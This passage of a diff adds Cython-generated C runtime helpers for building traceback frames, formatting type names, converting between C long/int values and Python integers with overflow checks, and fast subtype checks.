*py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__9); + } + return name; +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int 